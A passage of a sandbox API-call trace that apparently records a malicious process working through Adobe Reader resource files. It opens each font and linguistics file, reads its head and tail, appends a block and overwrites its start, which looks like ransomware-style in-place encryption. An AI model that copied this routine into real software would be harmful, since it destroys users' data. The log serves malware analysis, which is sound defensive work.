returned 0x20 [0048.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H", lpFilePart=0x304f690*="Ext-RKSJ-H") returned 0x41 [0048.749] GetLastError () returned 0x5 [0048.749] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.749] LocalFree (hMem=0x71aff8) returned 0x0 [0048.749] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.749] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.749] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.749] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.749] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-h")) returned 0x20 [0048.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V", lpFilePart=0x304f690*="GBKp-EUC-V") returned 0x41 [0048.749] GetLastError () returned 0x5 [0048.750] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.750] LocalFree (hMem=0x71aff8) returned 0x0 [0048.750] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.750] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.750] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.750] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.750] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-v")) returned 0x20 [0048.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.750] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H", lpFilePart=0x304f690*="HKdlb-B5-H") returned 0x41 [0048.750] GetLastError () returned 0x5 [0048.750] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.751] LocalFree (hMem=0x71aff8) returned 0x0 [0048.751] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.751] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.751] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.751] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.751] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-h")) returned 0x20 [0048.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.751] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H", lpFilePart=0x304f690*="Identity-H") returned 0x41 [0048.751] GetLastError () returned 0x5 [0048.751] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.751] LocalFree (hMem=0x71aff8) returned 0x0 [0048.751] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.751] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.752] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.752] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.752] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-h")) returned 0x20 [0048.752] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.752] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2", lpFilePart=0x304f690*="KSCpc-EUC-UCS2") returned 0x45 [0048.752] GetLastError () returned 0x5 [0048.752] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.752] LocalFree (hMem=0x71aff8) returned 0x0 [0048.752] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.752] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.752] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.752] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.752] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2")) returned 0x20 [0048.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.753] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H", lpFilePart=0x304f690*="UniCNS-UCS2-H") returned 0x44 [0048.753] GetLastError () returned 0x5 [0048.753] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.753] LocalFree (hMem=0x71aff8) returned 0x0 [0048.753] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.753] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.753] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.753] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.753] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-h")) returned 0x20 [0048.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V", lpFilePart=0x304f690*="UniJIS-UCS2-HW-V") returned 0x47 [0048.754] GetLastError () returned 0x5 [0048.754] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.754] LocalFree (hMem=0x71aff8) returned 0x0 [0048.754] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.754] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.754] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.754] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.754] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-v")) returned 0x20 [0048.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V", lpFilePart=0x304f690*="V") returned 0x38 [0048.754] GetLastError () returned 0x5 [0048.754] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.754] LocalFree (hMem=0x71aff8) returned 0x0 [0048.755] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.755] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.755] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.755] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.755] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\v")) returned 0x20 [0048.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.755] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.755] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x10658 [0048.756] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.756] ReleaseMutex (hMutex=0x128) returned 1 [0048.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0048.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x1e7894c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0048.756] ReadFile (in: hFile=0x168, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.757] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xf658 [0048.757] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.758] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xf658 [0048.758] WriteFile (in: hFile=0x168, lpBuffer=0x276c888*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c888*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.758] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.758] WriteFile (in: hFile=0x168, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.758] CloseHandle (hObject=0x168) returned 1 [0048.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.759] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.759] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x436ac [0048.759] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.759] ReleaseMutex (hMutex=0x128) returned 1 [0048.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0048.759] ReadFile (in: hFile=0x168, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0048.761] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x426ac [0048.761] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.762] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x426ac [0048.762] WriteFile (in: hFile=0x168, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.762] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.763] WriteFile (in: hFile=0x168, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0048.763] CloseHandle (hObject=0x168) returned 1 [0048.763] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zx______.pfb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.763] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.763] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x12735 [0048.763] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.763] ReleaseMutex (hMutex=0x128) returned 1 [0048.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZX______.PFB", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZX______.PFB", lpUsedDefaultChar=0x0) returned 12 [0048.763] ReadFile (in: hFile=0x168, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.765] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x11735 [0048.765] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.766] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x11735 [0048.766] WriteFile (in: hFile=0x168, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.766] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.766] WriteFile (in: hFile=0x168, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.767] CloseHandle (hObject=0x168) returned 1 [0048.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.767] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.767] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6c96 [0048.767] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.767] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.767] ReleaseMutex (hMutex=0x128) returned 1 [0048.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_KW.txt", lpUsedDefaultChar=0x0) returned 30 [0048.767] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, 